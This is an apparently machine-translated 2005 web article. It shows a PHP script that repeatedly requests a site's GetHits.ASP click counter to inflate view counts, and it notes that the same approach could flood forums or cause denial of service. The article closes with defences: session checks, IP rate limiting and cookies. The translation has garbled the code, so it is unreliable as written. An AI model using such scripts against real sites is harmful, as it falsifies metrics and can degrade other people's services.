Counter can be updated in the static page, I think, should be done using JS, open the source code a look, sure enough:
Counter can be updated in the static page, I think, should be done using JS, open the source code a look, sure enough:
Author: Unknown article source: meidi.net
Number of clicks:
Update Time: 2005-5-27
Click the number of the following is an ASP file to deal with, then I open this file to see:
document.write (' 210 ');
Yes, it is gethists.asp file processing ArticleID after the output number of results: document.write (' Times '), and then static page can be directly referenced.
The bad guys are the bad guys, so I thought, how can you quickly increase the number of clicks? Manual refresh words are not very kind, well, quickly write a PHP program to automatically access this file.
The PHP code is as follows:
? Php
/* Access_url. PHP */
Define (SUM, 1000); Number of visits required
Define (l_time, 1000); Force time for script execution
Define (S_time, 1); Time to hibernate between each access
$url = "http://www.xxx.com/Article/GetHits.ASP?ArticleID=759"; Address that needs to be accessed
Set_time_limit (L_time);
Accessing the specified URL function
function Access_url ($url)
{
if ($url = = ") return false;
$fp = fopen ($url, ' r ') or exit (' Open URL faild! ');
if ($fp) {
while (!feof ($fp)) {
$file = fgets ($FP);
echo $file. " \ n
\ n ";
}
Unset ($file);
}
}
To test
for ($i =0; $i Access_url ($url);
Sleep (S_time);
}
? >
Run the above program, then will continue to access the specified URL address, then the nature of this visit will continue to increase, to achieve the effect of irrigation. If the traffic is large, and the use of multiple programs to run, then it will be easy to achieve the denial of service (DoS) effect. If the other side of the preventive measures, the code changes to the forum for submission, it is easy to achieve the effect of the Forum irrigation.
Precautionary method:
1. Use the session mechanism in the code to generate a session ID when the user submits the content, to determine whether it has been submitted, and to not allow the brush if it has been submitted.
2. When the user submits a record of the user's IP address, if the specified time to resubmit the words are not allowed to resubmit.
3. After the user submits the content, writes the cookie to the user client, if the user submits the first check the client has a cookie to determine whether to allow submission.
There are many other ways to search, or to play with your imagination, to do better.